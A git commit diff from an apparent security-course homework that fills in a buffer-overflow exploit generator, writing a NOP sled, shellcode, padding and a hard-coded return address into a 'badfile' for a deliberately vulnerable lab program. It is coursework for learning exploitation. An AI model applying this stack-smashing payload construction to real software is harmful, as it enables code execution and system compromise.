Works with gdb in the included VM.
This commit is contained in:
parent
2f9a0e6b31
commit
eb27487128
3 changed files with 9 additions and 3 deletions
BIN
hw2/badfile
BIN
hw2/badfile
Binary file not shown.
|
@ -27,9 +27,15 @@ int main(int argc, char **argv)
|
||||||
|
|
||||||
/* Initialize buffer with 0x90 (NOP instruction) */
|
/* Initialize buffer with 0x90 (NOP instruction) */
|
||||||
memset(&buffer, 0x90, 517);
|
memset(&buffer, 0x90, 517);
|
||||||
|
|
||||||
/* You need to fill the buffer with appropriate contents here */
|
/* You need to fill the buffer with appropriate contents here */
|
||||||
strcpy(buffer, shellcode);
|
|
||||||
|
// Inject the shellcode into the buffer.
|
||||||
|
strcpy(&buffer[33], shellcode);
|
||||||
|
// Padding...
|
||||||
|
strcpy(&buffer[57], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
|
||||||
|
// Point ebp register to the injected code.
|
||||||
|
strcpy(&buffer[16], "\xf8\xf2\xff\xbf");
|
||||||
|
|
||||||
/* Save the contents to the file "badfile" */
|
/* Save the contents to the file "badfile" */
|
||||||
badfile = fopen("./badfile", "w");
|
badfile = fopen("./badfile", "w");
|
||||||
|
|
|
@ -15,7 +15,7 @@ int bof(char *str)
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
void main(int argc, char **argv)
|
int main(int argc, char **argv)
|
||||||
{
|
{
|
||||||
char str[517];
|
char str[517];
|
||||||
FILE *badfile;
|
FILE *badfile;
|
||||||
|
|
Reference in a new issue